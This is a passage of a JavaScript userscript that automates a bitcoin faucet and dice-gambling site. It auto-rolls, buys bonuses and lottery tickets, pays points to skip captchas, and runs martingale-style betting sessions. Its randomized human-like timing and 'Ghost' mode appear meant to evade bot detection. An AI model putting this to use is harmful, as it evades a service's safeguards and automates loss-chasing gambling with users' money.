  555. $('#script_output_title_bonus_wait_hours').text('Wait '+hours_between_bonuses+"h "+min_between_bonuses%60+"m").removeClass('true').addClass('false');
  556. return false;
  557. } // or if missing time on roll error
  558. if (t[0] < 0){
  559. if (LOGGING > 3) console.log('[RPBonuses] Error getting missing time less then 0, that was'+t[0]+":"+t[1]);
  560. $('#script_output_title_bonus_wait_hours').text('E0001').removeClass('true').addClass('false');
  561. return false;
  562. } // or before missing 10-20 minutes
  563. if ( t[0] >= min_missing_min ) {
  564. if (LOGGING > 3) console.log('[RPBonuses] Not buying RPBonuses. Wait '+Math.floor(t[0]-min_missing_min)+' minutes to buy near roll');
  565. $('#script_output_title_bonus_wait_hours').text('Wait '+Math.floor(t[0]-min_missing_min)+' m');
  566. return false;
  567. }
  568. // Buy some RP Bonus
  569. $('.rewards_link').not('.hide_menu').click();
  570. tot_rp_spent_rewards = parseInt(tot_rp_spent_rewards);
  571. if (LOGGING > 4) console.log("[RPBonuses] Tot rp spent in Bonuses before: "+tot_rp_spent_rewards);
  572. setTimeout(function() {
  573. if (reward_points < 12) {
  574. if (LOGGING > 2) console.log("[RPBonuses] No enough points to buy bonus. Less then 12. Waiting for points in next rolls");
  575. } else if (reward_points < 120) {
  576. if (LOGGING > 1) console.log("[RPBonuses] buying bonus 1RP");
  577. RedeemRPProduct('free_points_1');
  578. tot_rp_spent_rewards+=12;
  579. } else if (reward_points < 600) {
  580. if (LOGGING > 1) console.log("[RPBonuses] buying bonus 10RP");
  581. RedeemRPProduct('free_points_10');
  582. tot_rp_spent_rewards+=120;
  583. } else if (reward_points < 1200) {
  584. if (LOGGING > 1) console.log("[RPBonuses] buying bonus 50RP");
  585. RedeemRPProduct('free_points_50');
  586. tot_rp_spent_rewards+=600;
  587. } else {
  588. if (LOGGING > 1) console.log("[RPBonuses] buying bonus 100RP");
  589. RedeemRPProduct('free_points_100');
  590. tot_rp_spent_rewards+=1200;
  591. }
  592. if (reward_points >= 4800 && Boolean(BONUS1000) ) {
  593. if (LOGGING > 1) console.log("[RPBonuses] buying bonus 1000% roll - not convenient anymore");
  594. setTimeout(function(){ RedeemRPProduct('fp_bonus_1000')},random(5000,10000));
  595. tot_rp_spent_rewards+=3200;
  596. }
  597. $("#script_output_title_msg_mode").text("Promo");
  598. setTimeout(function(){
  599. setCookie("tot_rp_spent_rewards",tot_rp_spent_rewards,7);
  600. if (LOGGING > 4) console.log("[RPBonuses] Tot rp spent in Bonuses after: "+tot_rp_spent_rewards);
  601. $('.free_play_link').not('.hide_menu').click();
  602. }, random(10000,20000));
  603. } ,random(2000,16000));
  604. }
  605. }
  606. function Roll() {
  607. if (LOGGING > 4) console.log("%c[Roll] [Debug] Function Roll begin", 'color:grey');
  608. var d = new Date();
  609. var h = d.getHours();
  610. var t = missingTime();
  611. if (!Boolean(ROLL)) {
  612. $("#script_output_title_msg_mode").text("Disabled").removeClass('true').addClass('false');
  613. return true;
  614. }
  615. rollTryCount++;
  616. if ($('#free_play_form_button').is(':visible') && ! $('#play_without_captchas_button').is(':visible')) {
  617. r=random(1,100);
  618. if ( isNight() && Boolean(NIGHT_MODE) ) {
  619. if (r <= 30) rand=random(2400000,7200000);
  620. else rand=random(1000000,3600000);
  621. rolling_mode="Night";
  622. } else {
  623. if (r <= 10) rand=random(9000,7200000); // xx%, long wait, more than hour
  624. else if (r <= 30) rand=random(6000,1800000); // long but not longest
  625. else if (r <= 71) rand=random(3000,1200000); // xx% cases medium
  626. else rand=random(500,60000); // xx% cases fast roll
  627. rolling_mode="Day";
  628. }
  629. if (Boolean(SLOW_MODE)) {
  630. if (r <= 5) rand=random(3000,100000);
  631. else if (r <= 20) rand=random(300000,1500000);
  632. else if (r <= 40) rand=random(60000,2000000);
  633. else rand=random(120000,3000000);
  634. rolling_mode="Slow";
  635. }
  636. if (Boolean(isBonusActive) && Boolean(PROMO_MODE) ) { //If promo is active, roll faster
  637. if (r <= 5) rand=random(9000,3600000);
  638. else if (r <= 20) rand=random(6000,1500000);
  639. else if (r <= 40) rand=random(3000,1000000);
  640. else rand=random(500,240000);
  641. rolling_mode="Promo";
  642. } else if ( isNight() && Boolean(GHOST_MODE)) {
  643. // console.log("Ghost mode is active, don't free roll in the night");
  644. $("#script_output_title_msg_mode").text('Ghost');
  645. var waiting_milli;
  646. if (stopNight > h) {
  647. waiting_milli = (stopNight - h + 1)*60*60*1000;
  648. } else {
  649. waiting_milli = (stopNight + (24 - h + 1))*60*60*1000;
  650. }
  651. rand=random(waiting_milli, (waiting_milli + 3600000));
  652. if (LOGGING > 2) console.log("%c[Roll] Ghost Mode, Refresh page in rand "+rand/1000+" s", 'color: grey');
  653. setTimeout(function(){
  654. location.reload();
  655. }, rand );
  656. return true;
  657. }
  658. if (tot_btc_winning_rolling == 0) {
  659. rand=random(1000,2000);
  660. if (LOGGING > 2) console.log('>>>>> First Execution, fast ROLL');
  661. }
  662. $("#script_output_title_msg_mode").text(rolling_mode);
  663. //rand = rand(1000,2000);
  664. // Real ROLL Function
  665. rollAndRetrieve(rand);
  666. } else if ($('#play_without_captchas_button').is(':visible') ){
  667. if (Boolean(PLAY_WITHOUT_CAPTCHA)) {
  668. //Try to play without captcha, if enough RP
  669. if (LOGGING > 2) console.log ("[Roll] Captcha Roll");
  670. captchaRoll();
  671. } else {
  672. return false;
  673. }
  674. } else if (rollTryCount >= 10) {
  675. // refresh page after 10 minutes trying the next case
  676. location.reload();
  677. } else if (t[0] <= 0) {
  678. // Not in the home page window, try again in a bit
  679. $('#script_output_title_msg_roll').html('<span class="bold">Waiting 1m</span>');
  680. if (LOGGING > 2) console.log("[Roll] Retry in 1m");
  681. setTimeout(function(){
  682. Roll();
  683. }, 60000 );
  684. } else {
  685. $('#script_output_title_msg_roll').html('<span class="bold">Waiting Next Roll</span>');
  686. //$("#script_output_title_msg_mode").text("Wait");
  687. if (LOGGING > 2) console.log("[Roll] No roll");
  688. }
  689. }
  690. function captchaRoll() {
  691. if (LOGGING > 4) console.log("%c[Roll] [Debug] Function captchaRoll begin", 'color:grey');
  692. $('#play_without_captchas_button').click();
  693. setTimeout(function(){
  694. var cost_rp = $('.play_without_captcha_description span').text();
  695. if (LOGGING > 2) console.log ("%c[Roll] Try to play without captcha for "+cost_rp+" RP points. You have "+reward_points+" RP.", 'color:purple;');
  696. if (reward_points >= cost_rp ) {
  697. // ROLL anyway paying
  698. if (LOGGING > 2) console.log ("[Roll] Roll with Captcha");
  699. $('#script_output_title_msg_roll').html('<span class="bold true">Captcha OK</span>');
  700. r=random(1,100);
  701. if (r <= 10) rand=random(9000,7200000); // xx%, long wait, more than hour
  702. else if (r <= 30) rand=random(6000,1800000); // long but not longest
  703. else if (r <= 71) rand=random(3000,1200000); // xx% cases medium
  704. else rand=random(500,60000); // xx% cases fast roll
  705. rolling_mode="Captcha";
  706. $("#script_output_title_msg_mode").text(rolling_mode);
  707. if (tot_btc_winning_rolling == 0) {
  708. rand=random(1000,2000);
  709. if (LOGGING > 2) console.log('>>>>> First Execution, fast ROLL');
  710. }
  711. rand = random(500,60000);
  712. rollAndRetrieve(rand);
  713. tot_rp_spent_captcha = Math.floor (parseInt(tot_rp_spent_captcha)+parseInt(cost_rp));
  714. setCookie("tot_rp_spent_captcha", tot_rp_spent_captcha, 7);
  715. } else {
  716. if (LOGGING > 2) console.log ("%c[Roll] Not enough RP. No Roll", 'color: red');
  717. $('#script_output_title_msg_roll').html('<span class="bold false">Miss RP</span>'); // Status on page
  718. }
  719. }, random(1000,3000));
  720. }
  721. function rollAndRetrieve (rand) {
  722. if (LOGGING > 4) console.log("%c[Roll] [Debug] Function rollAndRetrieve begin", 'color:grey');
  723. var d = new Date();
  724. var h = d.getHours();
  725. // Show hour when will roll in status panel
  726. // new date to modify various time during function
  727. var d1 = new Date();
  728. d1.setSeconds(d.getSeconds() + rand/1000);
  729. var [{ value: year },,{ value: month },,{ value: day },,{ value: hour },,{ value: minute }] = dateTimeFormat.formatToParts(d1);
  730. $('#script_output_title_msg_roll').html('<span class="bold">Roll at <span class="false">'+hour+':'+minute+'</span></span>');
  731. if (LOGGING > 2) console.log('%c[Roll] ---Will roll in '+rand/1000/60+' minutes','color:green');
  732. setTimeout(function(){
  733. //Duplicate the visibility chek to avoid error when humans roll and don't refresh.
  734. if ( $('#free_play_form_button').is(':visible') ){
  735. $('body').focus();
  736. //Update Status on page
  737. $('#script_output_title_msg_roll').html('<span class="true">++ Rolling NOW!</span>'); // Status on page
  738. if (LOGGING > 2) console.log('%c+++ROLL!','color:purple; font-weight: bold');
  739. // Execute the roll!!
  740. setTimeout(function(){ $('#free_play_form_button').click(); }, 500);
  741. setTimeout(function(){
  742. // get some errors and log those :(
  743. if ( $('#free_play_error').html().length > 0 ) {
  744. if (LOGGING > 1) console.log("%c[Roll] Some error occurred in Roll: "+$('#free_play_error').html() );
  745. return false;
  746. } else {
  747. var win_btc = $('#winnings').text();
  748. var win_lottery = $('#fp_lottery_tickets_won').text();
  749. var win_rp = $('#fp_reward_points_won').text();
  750. executions++;
  751. }
  752. // close tedious popup now
  753. closePopupInterval($('.close-reveal-modal'));
  754. //Update Status on page
  755. $('#script_output_title_msg_roll').html('<span class="true">++ Rolled</span>'); // Status on page
  756. $('#script_output_title_executions_num').text(executions);
  757. setCookie('executions', executions, 7);
  758. if (LOGGING > 2) console.log('%c[Roll] Execution number: '+executions,'font-weight:bold; color:green');
  759. if (LOGGING > 2) console.log('%c[Roll] Got '+win_btc+' btc, '+win_lottery+' tickets and '+win_rp+' RP!','font-weight:bold; color:green');
  760. if (win_btc > 0) {
  761. tot_btc_winning_rolling = parseFloat(parseFloat(tot_btc_winning_rolling) + parseFloat(win_btc)).toFixed(8);
  762. setCookie('tot_btc_winning_rolling', tot_btc_winning_rolling, 7);
  763. if (LOGGING > 2) console.log('%c[Roll] BTC Won totally with script %c'+tot_btc_winning_rolling,'color: gray', 'font-weight:bold');
  764. } else {
  765. if (LOGGING > 1) console.log('%c[Roll] Some error retrieving Roll Winnings. Winning btc was: '+win_btc, 'color: red');
  766. }
  767. if (win_lottery > 0) {
  768. tot_lottery_winning_rolling = parseFloat(parseFloat(tot_lottery_winning_rolling) + parseFloat(win_lottery)).toFixed(0);
  769. setCookie('tot_lottery_winning_rolling', tot_lottery_winning_rolling, 7);
  770. if (LOGGING > 2) console.log('%c[Roll] Tickets Won with script %c'+tot_lottery_winning_rolling,'color: gray', 'font-weight:bold');
  771. } else {
  772. if (LOGGING > 1) console.log('%c[Roll] Some error retrieving Roll Winnings. Winning lottery was: '+win_btc, 'color: red');
  773. }
  774. if (win_rp > 0) {
  775. tot_rp_winning_rolling = parseFloat(parseFloat(tot_rp_winning_rolling) + parseFloat(win_rp)).toFixed(0);
  776. setCookie('tot_rp_winning_rolling', tot_rp_winning_rolling, 7);
  777. if (LOGGING > 2) console.log('%c[Roll] RP Won with script %c'+tot_rp_winning_rolling,'color: gray', 'font-weight:bold');
  778. } else {
  779. if (LOGGING > 1) console.log('%c[Roll] Error retrieving Roll Winnings. Winning RP was: '+win_btc, 'color: red');
  780. }
  781. }, 6999);
  782. } else {
  783. if (LOGGING > 3) console.log('[Roll] Already Rolled maybe by some human..');
  784. //Update Status on page
  785. $('#script_output_title_msg_roll').html('<span class="false">Already Rolled</span>'); // Status on page
  786. setTimeout(function(){ location.reload(); }, 30000);
  787. }
  788. },rand);
  789. //Random Action After ROLL
  790. var rand1=rand+random(1000,600000);
  791. rand=random(0,100);
  792. if (rand > ROLL_P) {
  793. if (LOGGING > 2) console.log('[Roll] [Debug] Reload page after roll in '+rand1/1000/60+' minutes!');
  794. setTimeout(function(){ location.reload(); }, rand1);
  795. } else if (rand <= ROLL_P && Boolean(MULTIPLY) && Boolean(isMultiplyPlayable)) {
  796. // Show hour when will multiply in status panel
  797. d1.setSeconds(d.getSeconds() + rand1/1000);
  798. [{ value: year },,{ value: month },,{ value: day },,{ value: hour },,{ value: minute }] = dateTimeFormat.formatToParts(d1);
  799. if (LOGGING > 0) console.log('[Roll] ---Will multiply in '+rand1/1000/60+' minutes!');
  800. $('#script_output_multiply_status').html('<span class="bold">Multiply at: <span class="false">'+hour+':'+minute+'</span></span>');
  801. setTimeout(function(){ multiply(true, false); }, rand1);
  802. } else {
  803. if (LOGGING > 2) console.log('[Roll] No action after roll. Rand was '+rand);
  804. }
  805. }
  806. function lottery () {
  807. //Plan buying lottery ticket
  808. if(Boolean(LOTTERY)){
  809. if (LOGGING > 4) console.log("%c[Lottery] [Debug] Function lottery begin", 'color:gray');
  810. var r = random(1,100);
  811. var d = new Date();
  812. var h = d.getHours();
  813. var satbalance = parseInt($('#balance').text().split(".")[1]);
  814. var randl = random(1,LOTTERY_MAX_TICKETS).toFixed(0); //Tickets to buy
  815. if ( isNight() ) return true;
  816. else if (satbalance <= randl) return true;
  817. else if (r>= LOTTERY_P) return true;
  818. if (LOGGING > 2) console.log("[Lottery] Buy %c"+ randl + " lottery tickets %cin some time....", 'color:yellow', 'color:reset');
  819. setTimeout(function(){
  820. $('#lottery_tickets_purchase_count').val(randl);
  821. setTimeout(function(){
  822. $('#purchase_lottery_tickets_button').click();
  823. if (LOGGING > 2) console.log("%c[Lottery] Bought "+ randl + " lottery tickets", 'color:yellow');
  824. tot_lottery_tickets = Math.floor(parseInt(tot_lottery_tickets) + parseInt(randl));
  825. setCookie('tot_lottery_tickets',tot_lottery_tickets,7);
  826. }, random(2000,4000));
  827. }, random(40000,120000));
  828. }
  829. }
  830. // Multiply, called after the free roll, sometimes.
  831. // ******** MULTIPLY GAME LOGIC START *********
  832. // Pre start and selector
  833. function multiply(after_roll, forced) {
  834. if (LOGGING > 4) console.log("%c[Multiply] [Debug] Function multiply begin", 'color:grey');
  835. var d = new Date();
  836. var h = d.getHours();
  837. var t = missingTime();
  838. var max_missing_min = 0;
  839. var milli_between_multiplies = Math.floor(HOURS_BETWEEN_MULTIPLY*60*60*1000);
  840. var balance = parseFloat($('#balance').text()).toFixed(8);
  841. var bonus_mul = false;
  842. var last_multiply_diff = Math.floor(d.getTime() - last_multiply);
  843. if (LOGGING > 4) console.log("%c[Multiply] [Debug] lastMultiply diff: "+last_multiply_diff+" -- last_multiply: "+last_multiply+" -- now: "+d.getTime(), 'color:grey');
  844. if ($("#bonus_account_table").length != 0) {
  845. var bonus_mul_balance = $('#bonus_account_balance').text().split(" ")[0];
  846. var bonus_mul_wager_remaining = $('#bonus_account_wager').text().split(" ")[0];
  847. if (LOGGING > 2) console.log('%c[Multiply] bonus balance: '+bonus_mul_balance+', wager remaining: '+bonus_mul_wager_remaining, 'color:grey');
  848. bonus_mul = true;
  849. } else bonus_mul = false;
  850. if (!Boolean(MULTIPLY) && !Boolean(forced)) {
  851. if (LOGGING > 3) console.log('[Multiply] Not playing multiply. Disabled by config');
  852. $('#script_output_title_multiply_wait_hours').text('Disabled').removeClass('true').addClass('false');
  853. $('#multiply_strategy').hide();
  854. return false;
  855. }
  856. if ( !Boolean(MULTIPLY_AT_NIGHT) && isNight() && !Boolean(forced)) {
  857. if (LOGGING > 3) console.log('%c[Multiply] Not playing multiply in the night','color:gray');
  858. $('#script_output_title_multiply_wait_hours').text('Wait Morning');
  859. return false;
  860. }
  861. if ( balance < MAX_BET && bonus_mul_balance < MAX_BET && !Boolean(forced)) {
  862. if (LOGGING > 3) console.log('[Multiply] Not enough balance for MAX_BET');
  863. $('#script_output_title_multiply_wait_hours').text('Adjust MaxBet');
  864. return false;
  865. }
  866. if ( last_multiply_diff < milli_between_multiplies && !Boolean(forced)) {
  867. var min_between_mult=Math.floor((milli_between_multiplies - last_multiply_diff)/1000/60);
  868. var hours_between_mult=Math.floor(min_between_mult/60);
  869. if (LOGGING > 3) console.log('[Multiply] Not playing multiply. Wait HOURS_BETWEEN_MULTIPLY before play again, missing '+hours_between_mult+"h "+min_between_mult%60+"m");
  870. $('#script_output_title_multiply_wait_hours').text('Wait '+hours_between_mult+"h "+min_between_mult%60+"m");
  871. //$('#ref_multiply_missing_hours').text(Math.ceil((milli_between_multiplies - last_multiply_diff)/1000/60/60));
  872. $('#script_output_title_multiply_wait_hours').removeClass('true').addClass('false');
  873. return false;
  874. }
  875. if ( t[0] > 0 && t[0] <= max_missing_min && !Boolean(forced)) {
  876. if (LOGGING > 3) console.log('[Multiply] Not playing multiply. Wait to play not near next roll, missing just %c'+t[0]+' min', 'color:purple');
  877. $('#script_output_title_multiply_wait_hours').text('Wait '+t[0]+'m');
  878. return false;
  879. }
  880. if (Boolean(isMultiplyRunning)) {
  881. if (LOGGING > 3) console.log('[Multiply] Not playing multiply. Some other istance already playing');
  882. return false;
  883. }
  884. if (Boolean(after_roll)) {
  885. if (!Boolean(forced)) $('.double_your_btc_link').not('.hide_menu').click();
  886. tot_multiply_games = parseInt(tot_multiply_games)+1;
  887. setCookie("tot_multiply_games", tot_multiply_games, 30);
  888. setCookie("last_multiply", d.getTime(), 30);
  889. $('#script_output_multiply_status').html('<span class="bold">Multiply: <span class="true">Running!</span></span>');
  890. if (LOGGING > 4) console.log(Boolean(after_roll)+", "+balance+", "+bonus_mul_balance+", "+MAX_BET+", "+Boolean(MULTIPLY));
  891. multiply_manual();
  892. } else {
  893. isMultiplyPlayable = true;
  894. if (LOGGING > 3) console.log('[Multiply] Yes can play multiply '+isMultiplyPlayable);
  895. }
  896. }
  897. function multiply_manual() {
  898. var bet_count=0; var bet_remaining=0;
  899. var past_bet; var bet_amount; var bet_odds; var bet_hilo;
  900. var winnings=0;
  901. var won=0; // won lost or error -1, 1 or 0
  902. var consecutive_lost=0; var consecutive_win=0;
  903. var fast_bet=false; var log_msg = ""; var c;
  904. var multiply_message="";
  905. var curr_multiply_balance=0; var curr_multiply_wagered = 0;
  906. var max_consecutive_losts_session=0; var max_consecutive_wins_session=0;
  907. var max_consecutive_losts_inplay_session=0; var max_bet_session=0;
  908. var last_session_hist=[];
  909. var balance = parseFloat($('#balance').text()).toFixed(8);
  910. // Global vars setting to avoid duplicate games and increments.
  911. // as error reported bug on play
  912. game2_consecutive_lost_passed=false; game2_finished_loosing=false;
  913. game2_play_after_losses=0; game2_step=0;
  914. forceMultiplyStopHard=false; forceMultiplyStopSoft=false;
  915. game_play_began=false; game_play_count=0;
  916. // Multilpy Running
  917. isMultiplyRunning = true;
  918. if ( $('#multiply_full_container').length) {
  919. multiply_message = "<span class='lime'><b>Running!</b></span>";
  920. $('#multiply_message').html(multiply_message);
  921. }
  922. // Activate DOM Monitors
  923. /// *** NEW VERSION ***
  924. if (LOGGING > 4) console.log("[Multiply] Activating MutationObserver Monitors, beginning to play");
  925. const targetNode = document.getElementById('double_your_btc_result');
  926. const config = { attributes: true, childList: true, subtree: true };
  927. const callback = function(mutationsList, observer) {
  928. //if (LOGGING > 4) console.log("%cDom modified.", "color: grey");
  929. if ( $('#double_your_btc_error').html().length > 0 ) {
  930. var multiply_error = $('#double_your_btc_error').html();
  931. console.log('%c[Multiply] Fatal Error in multiply: '+multiply_error, 'color: red');
  932. //$('#script_output_title_multiply_wait_hours').text('Fatal Error').removeClass(true).addClass('false');
  933. setCookie('multiply_error', multiply_error, 31);
  934. multiply_message = "Finish for some error";
  935. if (LOGGING > 2) console.log("%c"+multiply_message, css_bold+"color:"+c);
  936. multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message);
  937. return true;
  938. } else if ( $("#double_your_btc_bet_win").html().length > 0 ) {
  939. won = 1; c="green"; fast_bet = true;
  940. winnings = $("#double_your_btc_bet_win").html().split(" ")[6];
  941. if (winnings > 0) {
  942. tot_multiply_balance = parseFloat(parseFloat(tot_multiply_balance) + parseFloat(winnings)).toFixed(8);
  943. curr_multiply_balance = parseFloat(parseFloat(curr_multiply_balance) + parseFloat(winnings)).toFixed(8);
  944. }
  945. consecutive_win++;
  946. consecutive_lost=0;
  947. if ( $('#multiply_full_container').length) {
  948. $('#multiply_cons_wins > b').html(consecutive_win).addClass("green-bg");
  949. setTimeout(function () { $("#multiply_cons_wins > b").removeClass("green-bg"); },500);
  950. }
  951. } else if ($("#double_your_btc_bet_lose").html().length > 0 ) {
  952. won = -1; c = "red";
  953. winnings = $("#double_your_btc_bet_lose").html().split(" ")[6];
  954. if (winnings > 0) {
  955. tot_multiply_balance = parseFloat(parseFloat(tot_multiply_balance) - parseFloat(winnings)).toFixed(8);
  956. curr_multiply_balance = parseFloat(parseFloat(curr_multiply_balance) - parseFloat(winnings)).toFixed(8);
  957. }
  958. consecutive_lost++;
  959. consecutive_win=0;
  960. if ( $('#multiply_full_container').length) {
  961. $('#multiply_cons_losts > b').html(consecutive_lost).addClass("red-bg");
  962. setTimeout(function () { $("#multiply_cons_losts > b").removeClass("red-bg"); },500);
  963. }
  964. } else won = 0;
  965. if (won != 0) {
  966. // COOKIES for STATISTICS
  967. setCookie("tot_multiply_balance", tot_multiply_balance, 7);
  968. setCookie('curr_multiply_balance',curr_multiply_balance,7);
  969. var rolled = $('#previous_roll').text();
  970. last_session_hist.push(Math.round(curr_multiply_balance*100000000));
  971. setCookie('last_multiply_session_hist',JSON.stringify(last_session_hist),7)
  972. // Session Cookie
  973. if (consecutive_lost >= max_consecutive_losts_session) {
  974. max_consecutive_losts_session=consecutive_lost;
  975. setCookie('max_consecutive_losts_session', max_consecutive_losts_session, 7);
  976. }
  977. if (consecutive_lost >= max_consecutive_losts_inplay_session && bet_amount > MIN_BET) {
  978. max_consecutive_losts_inplay_session=consecutive_lost;
  979. setCookie('max_consecutive_losts_inplay_session',max_consecutive_losts_inplay_session,7);
  980. }
  981. if (bet_amount >= max_bet_session) {
  982. max_bet_session=parseFloat(bet_amount).toFixed(8);
  983. setCookie('max_bet_session',max_bet_session,7);
  984. }
  985. // General Cookies
  986. if (consecutive_lost > max_consecutive_losts_inplay && bet_amount > MIN_BET) {
  987. max_consecutive_losts_inplay = consecutive_lost;
  988. setCookie('max_consecutive_losts_inplay',max_consecutive_losts_inplay,7);
  989. }
  990. if (consecutive_lost > max_consecutive_losts) {
  991. max_consecutive_losts=consecutive_lost;
  992. setCookie('max_consecutive_losts', consecutive_lost, 365);
  993. }
  994. if ( rolled != '7777' ){
  995. jackpot_distance++;
  996. setCookie('jackpot_distance', jackpot_distance, 31);
  997. }
  998. if ( $('#multiply_full_container').length) {
  999. // Update the values
  1000. $('#multiply_bet_count > b').html(bet_count).addClass("green-bg");
  1001. setTimeout(function () { $("#multiply_bet_count > b").removeClass("green-bg"); },200);
  1002. $('#multiply_play_count > b').html(game_play_count);
  1003. $('#multiply_max_cons_losts > b').html(max_consecutive_losts_session);
  1004. $('#multiply_max_bet > b').html(max_bet_session);
  1005. $('#balance_before > b').html(balance);
  1006. $('#balance_now > b').html(parseFloat($('#balance').text()).toFixed(8));
  1007. $('#multiply_wagered > b').html(curr_multiply_wagered);
  1008. $('#multiply_profit > b').html(curr_multiply_balance);
  1009. }
  1010. // Next bet values getting It return a FLOAT number. Will be converted in bet function.
  1011. bet_amount = get_bet_amount( past_bet, consecutive_lost, consecutive_win);
  1012. bet_hilo = get_bet_hilo(consecutive_lost);
  1013. bet_odds = get_bet_odds();
  1014. if (LOGGING > 2) {
  1015. log_msg = "Rolled:"+rolled+",%c Won:"+parseFloat(winnings).toFixed(8)+"%c, Played#:"+bet_count;
  1016. log_msg += "/"+MAX_ROLLS_AT_MULTIPLY+"/"+game_play_count+", L/W: "+consecutive_lost+"/"+consecutive_win;
  1017. log_msg += ", CurrBal:"+curr_multiply_balance+", TotBal:"+tot_multiply_balance;
  1018. log_msg += " <Next bet: "+parseFloat(bet_amount).toFixed(8)+"("+game2_step+") on "+bet_hilo+", Fast: "+fast_bet+">";
  1019. console.log(log_msg, css_bold+"color:"+c, css_reset);
  1020. }
  1021. // EXIT CONDITIONS -- Play or finished logic
  1022. if (Boolean(forceMultiplyStopHard)) {
  1023. multiply_message = "Finish for <b>Stop Button</b> pressed";
  1024. if (LOGGING > 2) console.log("%c"+multiply_message, css_bold+"color:"+c);
  1025. multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message);
  1026. return true;
  1027. } else if ( bet_count >= MAX_ROLLS_AT_MULTIPLY || Boolean(forceMultiplyStopSoft)) {
  1028. if (LOGGING > 2) console.log("%cSoft finish, wait ending this play", css_bold+"color:"+c+", "+css_reset);
  1029. if ( !Boolean(game_play_began) ) {
  1030. multiply_message = "Finish for <b>Stop Soft</b> or <b>Max Roll</b> passed";
  1031. if (LOGGING > 2) console.log("%c"+multiply_message, css_bold+"color:"+c);
  1032. multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message);
  1033. return true;
  1034. }
  1035. } else if (game_play_count >= MAX_PLAY && !Boolean(game_play_began)) {
  1036. multiply_message = "Finish for <b>Game Play</b> count passed";
  1037. if (LOGGING > 2) console.log("%c"+multiply_message, css_bold+"color:"+c);
  1038. multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message);
  1039. return true;
  1040. } else if (bet_amount > MAX_BET) {
  1041. multiply_message = "Finish for <b>bet amount</b> passed max bet";
  1042. if (LOGGING > 2) console.log("%c"+multiply_message, css_bold+"color:"+c);
  1043. multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message);
  1044. return true;
  1045. } else if (curr_multiply_balance >= MAX_WIN) {
  1046. multiply_message = "Finish for <b>MAX_WIN</b> passed";
  1047. if (LOGGING > 2) console.log("%c"+multiply_message, css_bold+"color:"+c);
  1048. multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message);
  1049. return true;
  1050. } else if (bet_amount < 0.00000001) {
  1051. multiply_message = "Finish for error in bet amount value";
  1052. if (LOGGING > 2) console.log("%c"+multiply_message, css_bold+"color:"+c);
  1053. multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message);
  1054. return false;
  1055. }
  1056. curr_multiply_wagered = parseFloat(parseFloat(curr_multiply_wagered) + parseFloat(bet_amount)).toFixed(8);
  1057. tot_multiply_wagered = parseFloat(parseFloat(tot_multiply_wagered) + parseFloat(bet_amount)).toFixed(8);
  1058. setCookie('tot_multiply_wagered',tot_multiply_wagered, 365);
  1059. setCookie('curr_multiply_wagered',curr_multiply_wagered, 30);
  1060. if (past_bet != bet_amount) fast_bet=false;
  1061. else fast_bet=true;
  1062. bet_count++;
  1063. past_bet=bet_amount;
  1064. //Security wait of 30 seconds if speed fast (3) and every 500 collected
  1065. // call the bet
  1066. bet(bet_amount, bet_hilo, bet_odds, fast_bet);
  1067. } else {
  1068. var winlength=$("#double_your_btc_bet_win").html().length;
  1069. var loslength=$("#double_your_btc_bet_lose").html().length;
  1070. var domtree=$('#double_your_btc_result').html();
  1071. multiply_message = "Finish for no value in DOM var";
  1072. if (LOGGING > 1) console.log("%cFinish for no value in won var, was: "+won+", win l: "+winlength+", los l: "+loslength, css_bold+"color:"+c);
  1073. if (LOGGING > 3) console.log("%cFinish for no value in won var, DOM was: "+domtree, css_bold+"color: grey");
  1074. multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message);
  1075. }
  1076. };
  1077. // Begin the observer
  1078. const observer = new MutationObserver(callback);
  1079. observer.observe(targetNode, config);
  1080. // Disable Animation
  1081. $("#disable_animation_checkbox").prop( "checked", true );
  1082. // First bet that cause all the others and Dom modifications
  1083. setTimeout(function(){
  1084. bet_hilo = get_bet_hilo(0);
  1085. bet_amount = get_bet_amount(MIN_BET,0,0);
  1086. bet_odds = get_bet_odds();
  1087. bet_count++; past_bet=bet_amount;
  1088. bet(bet_amount, bet_hilo, bet_odds, false);
  1089. }, random (3500,6500) );
  1090. }
  1091. function get_bet_amount(past_bet, consecutive_lost, consecutive_win){
  1092. if (STRATEGY == 0) {
  1093. if (consecutive_lost == 0) {
  1094. game_play_began=false;
  1095. return BAS_BET;
  1096. }
  1097. else {
  1098. if (consecutive_lost == 1) {
  1099. game_play_began = true;
  1100. game_play_count++;
  1101. tot_multiply_play++;
  1102. setCookie('tot_multiply_play', tot_multiply_play, 7);
  1103. }
  1104. return past_bet*2;
  1105. }
  1106. } else if (STRATEGY == 1 || WAIT_PLAY_AFTER_LOSSES == 0){
  1107. if (consecutive_lost < MIN_LOSSES_BEFORE_PLAY) {
  1108. if (Boolean(game_play_began)) {
  1109. game_play_began=false;
  1110. }
  1111. return MIN_BET;
  1112. } else if (consecutive_lost == MIN_LOSSES_BEFORE_PLAY){
  1113. game_play_began=true;
  1114. tot_multiply_play++;
  1115. game_play_count++;
  1116. setCookie('tot_multiply_play', tot_multiply_play, 7);
  1117. return BAS_BET;
  1118. } else {
  1119. return past_bet+(past_bet*INCR/100);
  1120. }
  1121. } else if (STRATEGY == 2 || STRATEGY == 3) {
  1122. if (!Boolean(game2_consecutive_lost_passed)) {
  1123. if (Boolean(game_play_began)) game_play_began=false;
  1124. if (consecutive_lost < MIN_LOSSES_BEFORE_PLAY) {
  1125. game2_step=1;
  1126. return MIN_BET;
  1127. } else if (consecutive_lost == MIN_LOSSES_BEFORE_PLAY){
  1128. // passed tot lost, next step -> else
  1129. game2_step=2;
  1130. game2_consecutive_lost_passed = true;
  1131. return MIN_BET;
  1132. } else return "-009";
  1133. } else {
  1134. if (!Boolean(game2_finished_loosing)) {
  1135. if (consecutive_win == 0 ) {
  1136. game2_step=3;
  1137. return MIN_BET;
  1138. } else {
  1139. //finished loosing, first win, next step -> else
  1140. game2_step=4;
  1141. game2_finished_loosing=true;
  1142. game2_play_after_losses++;
  1143. return get_bet_amount(MIN_BET,consecutive_lost,consecutive_win);
  1144. }
  1145. } else {
  1146. if (!Boolean(game_play_began)){
